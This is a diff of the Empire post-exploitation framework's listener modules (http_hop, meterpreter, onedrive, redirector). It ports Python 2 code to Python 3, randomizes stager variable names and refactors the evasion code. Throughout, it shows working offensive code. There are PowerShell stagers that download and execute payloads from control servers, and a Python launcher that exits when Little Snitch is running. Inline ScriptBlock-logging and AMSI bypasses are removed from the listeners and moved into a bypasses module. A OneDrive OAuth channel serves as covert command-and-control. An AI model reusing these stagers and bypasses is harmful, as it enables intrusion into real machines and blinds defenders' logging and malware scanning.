196 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
180 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
197181 else:
198182 # TODO: implement form for other proxy credentials
199183 username = proxyCreds.split(':')[0]
201185 domain = username.split('\\')[0]
202186 usr = username.split('\\')[1]
203187 stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
204 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
188 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = $netcred;")
205189
206190 # TODO: reimplement stager retries?
207191
214198
215199 # prebuild the request routing packet for the launcher
216200 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
217 b64RoutingPacket = base64.b64encode(routingPacket)
201 b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
218202
219203 # add the RC4 packet to a cookie
220 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
204 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
221205 stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
222
223 stager += "$ser='%s';$t='%s';" % (host, stage0)
224 stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);")
206 stager += "$ser=%s;$t='%s';$hop='%s';" % (helpers.obfuscate_call_home_address(host), stage0, listenerName)
207
208 stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser+$t);")
225209 stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
226210
227211 # decode everything and kick it over to IEX to kick off execution
248232 if safeChecks.lower() == 'true':
249233 launcherBase += "import re, subprocess;"
250234 launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
251 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
252 launcherBase += "out = ps.stdout.read()\n"
253 launcherBase += "ps.stdout.close()\n"
235 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
236 launcherBase += "out, err = ps.communicate()\n"
254237 launcherBase += "if re.search(\"Little Snitch\", out):\n"
255238 launcherBase += " sys.exit()\n"
256239 except Exception as e:
257240 p = "[!] Error setting LittleSnitch in stagger: " + str(e)
258 print helpers.color(p, color='red')
241 print(helpers.color(p, color='red'))
259242
260243 if userAgent.lower() == 'default':
261244 userAgent = profile.split('|')[1]
266249
267250 # prebuild the request routing packet for the launcher
268251 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
269 b64RoutingPacket = base64.b64encode(routingPacket)
270
271 # add the RC4 packet to a cookie
272 launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
252 b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
253
273254 launcherBase += "import urllib2\n"
274255
275256 if proxy.lower() != "none":
293274 else:
294275 launcherBase += "o = urllib2.build_opener();\n"
295276
277 # add the RC4 packet to a cookie
278 launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
279
296280 #install proxy and creds globally, so they can be used with urlopen.
297281 launcherBase += "urllib2.install_opener(o);\n"
298282
316300 launcherBase += "exec(''.join(out))"
317301
318302 if encode:
319 launchEncoded = base64.b64encode(launcherBase)
303 launchEncoded = base64.b64encode(launcherBase).decode("UTF-8")
320304 launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
321305 return launcher
322306 else:
323307 return launcherBase
324308
325309 else:
326 print helpers.color("[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")
310 print(helpers.color("[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."))
327311
328312 else:
329 print helpers.color("[!] listeners/http_hop generate_launcher(): invalid listener name specification!")
313 print(helpers.color("[!] listeners/http_hop generate_launcher(): invalid listener name specification!"))
330314
331315 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
332316 """
333317 If you want to support staging for the listener module, generate_stager must be
334318 implemented to return the stage1 key-negotiation stager code.
335319 """
336 print helpers.color("[!] generate_stager() not implemented for listeners/http_hop")
320 print(helpers.color("[!] generate_stager() not implemented for listeners/http_hop"))
337321 return ''
338322
339323
342326 If you want to support staging for the listener module, generate_agent must be
343327 implemented to return the actual staged agent code.
344328 """
345 print helpers.color("[!] generate_agent() not implemented for listeners/http_hop")
329 print(helpers.color("[!] generate_agent() not implemented for listeners/http_hop"))
346330 return ''
347331
348332
372356 $RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
373357
374358 # build the web request object
375 $wc = New-Object System.Net.WebClient
359 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
376360
377361 # set the proxy settings for the WC to be the default system settings
378 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
379 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
380 $wc.Headers.Add("User-Agent",$script:UserAgent)
381 $script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)}
382 $wc.Headers.Add("Cookie", "session=$RoutingCookie")
362 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
363 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
364 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("User-Agent",$script:UserAgent)
365 $script:Headers.GetEnumerator() | % {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
366 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("Cookie", "session=$RoutingCookie")
383367
384368 # choose a random valid URI for checkin
385369 $taskURI = $script:TaskURIs | Get-Random
386 $result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
370 $result = $"""+helpers.generate_random_script_var_name("wc")+""".DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
387371 $result
388372 }
389373 }
411395
412396 if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
413397 # build the web request object
414 $wc = New-Object System.Net.WebClient
398 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
415399 # set the proxy settings for the WC to be the default system settings
416 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
417 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
418 $wc.Headers.Add('User-Agent', $Script:UserAgent)
419 $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
400 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
401 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
402 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add('User-Agent', $Script:UserAgent)
403 $Script:Headers.GetEnumerator() | ForEach-Object {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
420404
421405 try{
422406 # get a random posting URI
423407 $taskURI = $Script:TaskURIs | Get-Random
424 $response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
408 $response = $"""+helpers.generate_random_script_var_name("wc")+""".UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
425409 }
426410 catch [System.Net.WebException]{
427411 # exception posting data...
490474 return updateServers + sendMessage
491475
492476 else:
493 print helpers.color("[!] listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module.")
477 print(helpers.color("[!] listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."))
494478 else:
495 print helpers.color('[!] listeners/http_hop generate_comms(): no language specified!')
479 print(helpers.color('[!] listeners/http_hop generate_comms(): no language specified!'))
496480
497481
498482 def start(self, name=''):
534518
535519 with open(saveName, 'w') as f:
536520 f.write(hopCode)
537 print helpers.color("[*] Hop redirector written to %s . Place this file on the redirect server." % (saveName))
521 print(helpers.color("[*] Hop redirector written to %s . Place this file on the redirect server." % (saveName)))
538522
539523 return True
540524
541525 else:
542 print helpers.color("[!] Redirect listener name %s not a valid listener!" % (redirectListenerName))
526 print(helpers.color("[!] Redirect listener name %s not a valid listener!" % (redirectListenerName)))
543527 return False
544528
545529
lib/listeners/http_mapi.py less more
Binary diff not shown
+16
-13
lib/listeners/meterpreter.py less more
0 from __future__ import print_function
01 # Empire imports
2 from builtins import str
3 from builtins import object
14 from lib.common import helpers
25
36
4 class Listener:
7 class Listener(object):
58
69 def __init__(self, mainMenu, params=[]):
710
3033 'Host' : {
3134 'Description' : 'Hostname/IP for staging.',
3235 'Required' : True,
33 'Value' : "http://%s:%s" % (helpers.lhost(), 80)
36 'Value' : "http://%s" % (helpers.lhost())
3437 },
3538 'Port' : {
3639 'Description' : 'Port for the listener.',
3740 'Required' : True,
38 'Value' : 80
41 'Value' : ''
3942 }
4043 }
4144
5861
5962 for key in self.options:
6063 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
61 print helpers.color("[!] Option \"%s\" is required." % (key))
64 print(helpers.color("[!] Option \"%s\" is required." % (key)))
6265 return False
6366
6467 return True
7073 """
7174
7275 if not language or language.lower() != 'powershell':
73 print helpers.color('[!] listeners/http generate_launcher(): only PowerShell is supported at this time')
76 print(helpers.color('[!] listeners/http generate_launcher(): only PowerShell is supported at this time'))
7477 return None
75
78
7679 if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
7780
7881 # extract the set options for this instantiated listener
8487 try:
8588 f = open(moduleSourcePath, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: %s" % (moduleSourcePath))
90 print(helpers.color("[!] Could not read module source path at: %s" % (moduleSourcePath)))
8891 return ''
8992 script = f.read()
9093 f.close()
9295 msfPayload = 'windows/meterpreter/reverse_http'
9396 if 'https' in host:
9497 msfPayload += 's'
95
98
9699 if 'http' in host:
97100 parts = host.split(':')
98101 host = parts[1].strip('/')
105108 return script
106109
107110 else:
108 print helpers.color("[!] listeners/meterpreter generate_launcher(): invalid listener name specification!")
111 print(helpers.color("[!] listeners/meterpreter generate_launcher(): invalid listener name specification!"))
109112
110113
111114 def generate_stager(self, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
112115 """
113116 Nothing to actually generate here for foreign listeners.
114117 """
115 print "generate_stager() not applicable for listeners/meterpreter"
118 print("generate_stager() not applicable for listeners/meterpreter")
116119 pass
117120
118121
120123 """
121124 Nothing to actually generate here for foreign listeners.
122125 """
123 print "generate_stager() not applicable for listeners/meterpreter"
126 print("generate_stager() not applicable for listeners/meterpreter")
124127 pass
125128
126129
141144 # send_message()
142145 pass
143146 else:
144 print helpers.color("[!] listeners/meterpreter generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module.")
147 print(helpers.color("[!] listeners/meterpreter generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."))
145148 else:
146 print helpers.color('[!] listeners/meterpreter generate_comms(): no language specified!')
149 print(helpers.color('[!] listeners/meterpreter generate_comms(): no language specified!'))
147150
148151
149152 def start(self, name=''):
+64
-71
lib/listeners/onedrive.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 import random
25 import os
1619 from lib.common import encryption
1720 from lib.common import packets
1821 from lib.common import messages
19
20 class Listener:
22 from lib.common import bypasses
23
24 class Listener(object):
2125 def __init__(self, mainMenu, params=[]):
2226 self.info = {
2327 'Name': 'Onedrive',
3438 'Value' : 'onedrive'
3539 },
3640 'ClientID' : {
37 'Description' : 'Client ID of the OAuth App.',
41 'Description' : 'Application ID of the OAuth App.',
42 'Required' : True,
43 'Value' : ''
44 },
45 'ClientSecret' : {
46 'Description' : 'Client secret of the OAuth App.',
3847 'Required' : True,
3948 'Value' : ''
4049 },
145154 #If we don't have an OAuth code yet, give the user a URL to get it
146155 if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''):
147156 if (str(self.options['ClientID']['Value']).strip() == ''):
148 print helpers.color("[!] ClientID needed to generate AuthCode URL!")
157 print(helpers.color("[!] ClientID needed to generate AuthCode URL!"))
149158 return False
150159 params = {'client_id': str(self.options['ClientID']['Value']).strip(),
151160 'response_type': 'code',
153162 'scope': 'files.readwrite offline_access'}
154163 req = Request('GET','https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params = params)
155164 prep = req.prepare()
156 print helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url)
165 print(helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url))
157166 return False
158167
159168 for key in self.options:
160169 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
161 print helpers.color("[!] Option \"%s\" is required." % (key))
170 print(helpers.color("[!] Option \"%s\" is required." % (key)))
162171 return False
163172
164173 return True
165174
166 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
175 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
167176 if not language:
168 print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified")
177 print(helpers.color("[!] listeners/onedrive generate_launcher(): No language specified"))
169178
170179 if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
171180 listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options']
183192 launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging
184193
185194 if safeChecks.lower() == 'true':
186 launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
187
195 launcher = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
188196 # ScriptBlock Logging bypass
189 launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
190 launcher += "'System.Management.Automation.Utils'"
191 launcher += helpers.randomize_capitalization(").'GetFie`ld'(")
192 launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
193 launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
194 launcher += "['ScriptB'+'lockLogging']"
195 launcher += helpers.randomize_capitalization("){$GPC")
196 launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
197 launcher += helpers.randomize_capitalization("$GPC")
198 launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
199 launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
200 launcher += "('EnableScriptB'+'lockLogging',0);"
201 launcher += helpers.randomize_capitalization("$val.Add")
202 launcher += "('EnableScriptBlockInvocationLogging',0);"
203 launcher += helpers.randomize_capitalization("$GPC")
204 launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
205 launcher += helpers.randomize_capitalization("=$val}")
206 launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(")
207 launcher += "'signatures','N'+'onPublic,Static'"
208 launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
209
197 if scriptLogBypass:
198 launcher += bypasses.scriptBlockLogBypass()
210199 # @mattifestation's AMSI bypass
211 launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
212 launcher += "'System.Management.Automation.AmsiUtils'"
213 launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
214 launcher += "'amsiInitFailed','NonPublic,Static'"
215 launcher += helpers.randomize_capitalization(").SetValue($null,$true)};")
200 if AMSIBypass:
201 launcher += bypasses.AMSIBypass()
202 # rastamouse AMSI bypass
203 if AMSIBypass2:
204 launcher += bypasses.AMSIBypass2()
216205 launcher += "};"
217206 launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
218207
269258 return launcher
270259
271260 if language.startswith("pyth"):
272 print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet")
261 print(helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet"))
273262 return "python not implimented yet"
274263
275264 else:
276 print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
265 print(helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name"))
277266
278267 def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
279268 """
281270 """
282271
283272 if not language:
284 print helpers.color("[!] listeners/onedrive generate_stager(): no language specified")
273 print(helpers.color("[!] listeners/onedrive generate_stager(): no language specified"))
285274 return None
286275
287276 staging_key = listenerOptions['StagingKey']['Value']
324313 return randomized_stager
325314
326315 else:
327 print helpers.color("[!] Python agent not available for Onedrive")
328
329 def generate_comms(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
316 print(helpers.color("[!] Python agent not available for Onedrive"))
317
318 def generate_comms(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None):
330319
331320 staging_key = listener_options['StagingKey']['Value']
332321 base_folder = listener_options['BaseFolder']['Value']
334323 results_folder = listener_options['ResultsFolder']['Value']
335324
336325 if not language:
337 print helpers.color("[!] listeners/onedrive generate_comms(): No language specified")
326 print(helpers.color("[!] listeners/onedrive generate_comms(): No language specified"))
338327 return
339328
340329 if language.lower() == "powershell":
351340 if((Get-Date) -gt $Script:TokenObject.expires) {
352341 $data = New-Object System.Collections.Specialized.NameValueCollection
353342 $data.add("client_id", "%s")
343 $data.add("client_secret", "%s")
354344 $data.add("grant_type", "refresh_token")
355345 $data.add("scope", "files.readwrite offline_access")
356346 $data.add("refresh_token", $Script:TokenObject.refresh)
367357 $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
368358 $wc
369359 }
370 """ % (token, refresh_token, client_id, redirect_uri)
360 """ % (token, refresh_token, client_id, client_secret, redirect_uri)
371361
372362 post_message = """
373363 $script:SendMessage = {
441431
442432 return token_manager + post_message + get_message
443433
444 def generate_agent(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
434 def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None):
445435 """
446436 Generate the agent code
447437 """
448438
449439 if not language:
450 print helpers.color("[!] listeners/onedrive generate_agent(): No language specified")
440 print(helpers.color("[!] listeners/onedrive generate_agent(): No language specified"))
451441 return
452442
453443 language = language.lower()
464454 agent_code = f.read()
465455 f.close()
466456
467 comms_code = self.generate_comms(listener_options, client_id, token, refresh_token, redirect_uri, language)
457 comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language)
468458 agent_code = agent_code.replace("REPLACE_COMMS", comms_code)
469459
470460 agent_code = helpers.strip_powershell_comments(agent_code)
483473 def start_server(self, listenerOptions):
484474
485475 # Utility functions to handle auth tasks and initial setup
486 def get_token(client_id, code):
476 def get_token(client_id, client_secret, code):
487477 params = {'client_id': client_id,
478 'client_secret': client_secret,
488479 'grant_type': 'authorization_code',
489480 'scope': 'files.readwrite offline_access',
490481 'code': code,
495486 r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
496487 r_token['update'] = True
497488 return r_token
498 except KeyError, e:
499 print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
489 except KeyError as e:
490 print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])))
500491 raise
501492
502 def renew_token(client_id, refresh_token):
493 def renew_token(client_id, client_secret, refresh_token):
503494 params = {'client_id': client_id,
495 'client_secret': client_secret,
504496 'grant_type': 'refresh_token',
505497 'scope': 'files.readwrite offline_access',
506498 'refresh_token': refresh_token,
511503 r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
512504 r_token['update'] = True
513505 return r_token
514 except KeyError, e:
515 print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
506 except KeyError as e:
507 print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])))
516508 raise
517509
518510 def test_token(token):
529521
530522 base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder))
531523 if not (base_object.status_code == 200):
532 print helpers.color("[*] Creating %s folder" % base_folder)
524 print(helpers.color("[*] Creating %s folder" % base_folder))
533525 params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': base_folder}
534526 base_object = s.post("%s/drive/items/root/children" % base_url, json=params)
535527 else:
543535 for item in [staging_folder, taskings_folder, results_folder]:
544536 item_object = s.get("%s/drive/root:/%s/%s" % (base_url, base_folder, item))
545537 if not (item_object.status_code == 200):
546 print helpers.color("[*] Creating %s/%s folder" % (base_folder, item))
538 print(helpers.color("[*] Creating %s/%s folder" % (base_folder, item)))
547539 params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item}
548540 item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params)
549541 else:
581573 self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url
582574
583575 else:
584 print helpers.color("[!] Something went wrong uploading stager")
576 print(helpers.color("[!] Something went wrong uploading stager"))
585577 message = r.content
586578 signal = json.dumps({
587579 'print' : True,
595587 staging_key = listener_options['StagingKey']['Value']
596588 poll_interval = listener_options['PollInterval']['Value']
597589 client_id = listener_options['ClientID']['Value']
590 client_secret = listener_options['ClientSecret']['Value']
598591 auth_code = listener_options['AuthCode']['Value']
599592 refresh_token = listener_options['RefreshToken']['Value']
600593 base_folder = listener_options['BaseFolder']['Value']
607600 s = Session()
608601
609602 if refresh_token:
610 token = renew_token(client_id, refresh_token)
603 token = renew_token(client_id, client_secret, refresh_token)
611604 message = "[*] Refreshed auth token"
612605 signal = json.dumps({
613606 'print' : True,
615608 })
616609 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
617610 else:
618 token = get_token(client_id, auth_code)
611 token = get_token(client_id, client_secret, auth_code)
619612 message = "[*] Got new auth token"
620613 signal = json.dumps({
621614 'print' : True,
630623 while True:
631624 #Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
632625 try:
633 if listener_name in self.mainMenu.listeners.activeListeners.keys():
626 if listener_name in list(self.mainMenu.listeners.activeListeners.keys()):
634627 upload_stager()
635628 upload_launcher()
636629 break
643636 time.sleep(int(poll_interval))
644637 try: #Wrap the whole loop in a try/catch so one error won't kill the listener
645638 if time.time() > token['expires_at']: #Get a new token if the current one has expired
646 token = renew_token(client_id, token['refresh_token'])
639 token = renew_token(client_id, client_secret, token['refresh_token'])
647640 s.headers['Authorization'] = "Bearer " + token['access_token']
648641 message = "[*] Refreshed auth token"
649642 signal = json.dumps({
698691 lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
699692
700693 session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
701 agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use
702 agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'],
694 agent_token = renew_token(client_id, client_secret, token['refresh_token']) #Get auth and refresh tokens for the agent to use
695 agent_code = str(self.generate_agent(listener_options, client_id, client_secret, agent_token['access_token'],
703696 agent_token['refresh_token'], redirect_uri, lang))
704697 enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)
705698
718711 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
719712 s.delete("%s/drive/items/%s" % (base_url, item['id']))
720713
721 except Exception, e:
722 print helpers.color("[!] Could not handle agent staging for listener %s, continuing" % listener_name)
714 except Exception as e:
715 print(helpers.color("[!] Could not handle agent staging for listener %s, continuing" % listener_name))
723716 message = traceback.format_exc()
724717 signal = json.dumps({
725718 'print': False,
744737 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
745738
746739 r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = task_data)
747 except Exception, e:
740 except Exception as e:
748741 message = "[!] Error uploading agent tasks for {}, {}".format(agent_id, e)
749742 signal = json.dumps({
750743 'print': False,
757750 try:
758751 agent_id = item['name'].split(".")[0]
759752 if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage
760 print helpers.color("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']))
753 print(helpers.color("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name'])))
761754 s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE")
762755 s.delete("%s/drive/items/%s" % (base_url, item['id']))
763756 continue
786779 })
787780 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
788781 s.delete("%s/drive/items/%s" % (base_url, item['id']))
789 except Exception, e:
782 except Exception as e:
790783 message = "[!] Error handling agent results for {}, {}".format(item['name'], e)
791784 signal = json.dumps({
792785 'print': False,
794787 })
795788 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
796789
797 except Exception, e:
798 print helpers.color("[!] Something happened in listener %s: %s, continuing" % (listener_name, e))
790 except Exception as e:
791 print(helpers.color("[!] Something happened in listener %s: %s, continuing" % (listener_name, e)))
799792 message = traceback.format_exc()
800793 signal = json.dumps({
801794 'print': False,
835828 """
836829
837830 if name and name != '':
838 print helpers.color("[!] Killing listener '%s'" % (name))
831 print(helpers.color("[!] Killing listener '%s'" % (name)))
839832 self.threads[name].kill()
840833 else:
841 print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
834 print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])))
842835 self.threads[self.options['Name']['Value']].kill()
843836
+88
-91
lib/listeners/redirector.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 import random
25 import copy
6 import os
7 import hashlib
38
49 # Empire imports
510 from lib.common import helpers
712 from lib.common import encryption
813 from lib.common import packets
914 from lib.common import messages
10
11
12 class Listener:
15 from lib.common import bypasses
16
17
18 class Listener(object):
1319
1420 def __init__(self, mainMenu, params=[]):
1521
1824
1925 'Author': ['@xorrior'],
2026
21 'Description': ("Internal redirector listener. Active agent required. Listener options will be copied from another existing agent."),
27 'Description': ("Internal redirector listener. Active agent required. Listener options will be copied from another existing agent. Requires the active agent to be in an elevated context."),
2228
2329 # categories - client_server, peer_to_peer, broadcast, third_party
2430 'Category' : ('peer_to_peer'),
5864 self.threads = {} # used to keep track of any threaded instances of this server
5965
6066 # optional/specific for this module
61
67
6268
6369 # set the default staging key to the controller db default
6470 #self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
6975 If there's a default response expected from the server that the client needs to ignore,
7076 (i.e. a default HTTP page), put the generation here.
7177 """
72 print helpers.color("[!] default_response() not implemented for pivot listeners")
78 print(helpers.color("[!] default_response() not implemented for pivot listeners"))
7379 return ''
7480
7581
8086
8187 for key in self.options:
8288 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
83 print helpers.color("[!] Option \"%s\" is required." % (key))
89 print(helpers.color("[!] Option \"%s\" is required." % (key)))
8490 return False
8591
8692 return True
8793
8894
89 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
95 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
9096 """
9197 Generate a basic launcher for the specified listener.
9298 """
9399
94100 if not language:
95 print helpers.color('[!] listeners/template generate_launcher(): no language specified!')
101 print(helpers.color('[!] listeners/template generate_launcher(): no language specified!'))
96102 return None
97
103
98104 if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
99105
100106 # extract the set options for this instantiated listener
113119 stager = '$ErrorActionPreference = \"SilentlyContinue\";'
114120 if safeChecks.lower() == 'true':
115121 stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
116
117122 # ScriptBlock Logging bypass
118 stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
119 stager += "'System.Management.Automation.Utils'"
120 stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
121 stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
122 stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
123 stager += "['ScriptB'+'lockLogging']"
124 stager += helpers.randomize_capitalization("){$GPS")
125 stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
126 stager += helpers.randomize_capitalization("$GPS")
127 stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
128 stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
